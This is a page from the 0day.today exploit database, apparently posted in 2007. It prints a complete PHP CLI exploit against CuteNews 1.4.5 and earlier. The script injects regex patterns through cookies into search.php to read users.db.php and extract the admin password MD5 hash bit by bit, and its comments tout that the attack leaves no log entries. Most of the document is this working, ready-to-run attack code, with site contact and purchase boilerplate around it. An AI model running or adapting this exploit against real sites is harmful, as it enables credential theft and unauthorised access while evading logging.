0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

CuteNews <= 1.4.5 Admin Password md5 Hash Fetching Exploit

Author

waraxe

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-2395

Category

web applications

Date add

24-12-2007

Platform

unsorted

==========================================================
CuteNews <= 1.4.5 Admin Password md5 Hash Fetching Exploit
==========================================================



<?php
error_reporting(E_ALL); 
/////////////////////////////////////////////////////////////////////// 
///////////////////////////////////////////////////////////////////////
// Cutenews <= 1.4.5 admin password md5 hash fetching exploit
// Version 1.0
// written by Janek Vind "waraxe" 
// 23. dec 2007
// Estonia, Tartu
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_COOKIE, so no log fear
// 3. Pretesting saves time if Cutenews is not vulnerable
//
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
/////////////////////////////////////////////////////////////////////// 
/////////////////////////////////////////////////////////////////////// 
//===================================================================== 
$target = 'http://localhost/cutenews.1.4.5/search.php';
$username = 'waraxe'; // Username is needed
$outfile = './cute_log.txt';// Log file
//=====================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
$levels = array(1=>'admin',2=>'editor',3=>'journalist',4=>'commenter');
$start_time = time();
$requests = 0;
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
	if(!isset($_REQUEST['wtf-is-cli']))
	{ 
		echo "<html><head><title>Attention!</title></head>\n";
		echo "<body><br /><br /><center>\n";
		echo "<h1>Warning!</h1>\n";
		echo "This exploit is meant to be used as php CLI script!<br />\n";
		echo "More information:<br />\n";
		echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
		echo "Still, you can try to run it from webserver.<br />\n";
		echo "Just press the button below and prepare for long waiting<br />\n";
		echo "And learn to use php CLI next time, please ...<br />\n";
		echo "<form method=\"get\">\n";
		echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
		echo "</form>\n";
		echo "</center></body></html>\n";
		exit;
	}
	else
	{
		// Let's try to maximize our chances without CLI
		set_time_limit(0);
	}
}
//=====================================================================
add_logline("-------------------------------------------------------");
add_logline("Cutenews password md5 hash fetching started");
add_logline("Target: $target");
add_logline("Username: $username");

pre_test();

$h = get_hash();
$run_time = time() - $start_time;

add_logline("MD5 hash: $h");

xecho("\nFinal MD5 hash: $h", 1);
xecho("\nTotal time spent: $run_time seconds", 1);
xecho("HTTP requests made: $requests\n", 1);
xecho("Questions and feedback - http://www.waraxe.us/forums.html", 1); 
xecho("See ya! :)", 1);

exit; 
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function get_hash()
{
	$hash = '';
	
	for($i = 0; $i < 32; $i ++)
	{
		xecho("Finding hash char pos $i");
		$c = get_hash_char($i);
		$hash .= $c;
		xecho("Current hash: $hash");
	}
	
	return $hash;
}
///////////////////////////////////////////////////////////////////////
function get_hash_char($pos)
{
	global $username;
	
	$un = "^$username\$";
	$charset = '0123456789abcdef';
	
	$beg = '^';
	if($pos > 0)
	{
		$beg .= "([a-f0-9]{{$pos}})";
	}
	
	$end = '$';
	if($pos < 31)
	{
		$cnt = 31 - $pos;
		$end = "([a-f0-9]{{$cnt}})\$"; 
	}
	
	for($i = 8; $i > 0; $i >>= 1)
	{
		$first = substr($charset, 0, $i);
		$second = substr($charset, $i);		
		$hp = "$beg([$first])$end";

		if( make_query($un, $hp) === 1)
		{
			xecho("Position $pos: [$first]");
			$charset = $first;
		}
		else
		{
			xecho("Position $pos: [$second]");
			$charset = $second;
		}
	}
	
	return $charset;
}
///////////////////////////////////////////////////////////////////////
function pre_test()
{
	global $username;
	
	// Target URL valid?
	xecho("Validating target URL");
	if(strpos(make_get($GLOBALS['target']), 'search_in_archives') === false)
	{
		die('Target URL not valid!');
	}
	xecho("URL is valid");
	
	$un = "^$username\$";
	if( make_query($un) !== 1)
	{
		die('Pretest 1 failed - wrong username?');
	}
	else
	{
		xecho("Pretest 1 passed - username OK", 1);
	}

	$hp = '^[a-f0-9]{32}$';
	if( make_query($un, $hp) !== 1)
	{
		die('Pretest 2 failed - target not vulnerable?');
	}
	else
	{
		xecho("Pretest 2 passed - regex injection OK", 1);
	}

	$hp = '^[a-f0-9]{1337}$';
	if( make_query($un, $hp) !== 0)
	{
		die('Pretest 3 failed - target not vulnerable?');
	}
	else
	{
		xecho("Pretest 3 passed - regex injection OK", 1);
	}
}
///////////////////////////////////////////////////////////////////////
function make_query($username, $hashpattern = '')
{
	global $target;
	$max_retries = 10;
	
	$cookie = "dosearch=yes;files_arch[]=./data/users.db.php;title=$username";
	if(!empty($hashpattern))
	{
		$cookie .= ";story=$hashpattern";
	}
	
	for($retry = 0; $retry < $max_retries + 1; $retry ++)
	{
		if($retry > 0)
		{
			xecho("Request failed!", 1);
			xecho("Sleeping $retry seconds", 1);
			sleep($retry);
			xecho("Awake ...", 1);
			xecho("Retry #$retry", 1);
		}
		$buff = make_get($target, $cookie);
		$x = strpos($buff, '<b>Founded News articles [');
		$y = strpos($buff, ']:</b>', $x + 25);
		if( ($x !== false) && ($y !== false) && ($x < $y) )
		{
			$buff = trim(substr($buff, $x + 26, $y - $x - 26));
			$ret = intval($buff);
			if( ($ret > -1) && ($ret < 2) )
			{
				return $ret;
			}
		}
	}
	
	die('Fatal errror - server down?');
}
///////////////////////////////////////////////////////////////////////
function make_get($url, $cookie = '', $referer = '', $headers = FALSE)
{
	$ch = curl_init();
	$timeout = 120;
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
	
	if(!empty($cookie))
	{
		curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	}
 
	if(!empty($referer))
	{
		curl_setopt($ch, CURLOPT_REFERER, $referer);
	}

	if($headers === TRUE)
	{
		curl_setopt($ch, CURLOPT_HEADER, TRUE);
	}
	else
	{
		curl_setopt($ch, CURLOPT_HEADER, FALSE);
	}

	$fc = curl_exec($ch);
	curl_close($ch);
	$GLOBALS['requests'] ++;
	
	return $fc;
}
//////////////////////////////////////////////////////////////////////
function add_logline($line)
{
	global $outfile;
	
	$line .= "\n";
	$fh = fopen($outfile, 'ab');
	fwrite($fh, $line);
	fclose($fh);
	
}
//////////////////////////////////////////////////////////////////////
function xecho($line, $both = 0)
{
	if($GLOBALS['cli'])
	{
		echo "$line\n";
	}
	elseif($both)
	{
		$line = nl2br(htmlspecialchars($line));
		echo "$line<br />\n";
	}
}
/////////////////////////////////////////////////////////////////////
?>



#  0day.today [2024-12-24]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

CuteNews <= 1.4.5 Admin Password md5 Hash Fetching Exploit

Report Error

Report Error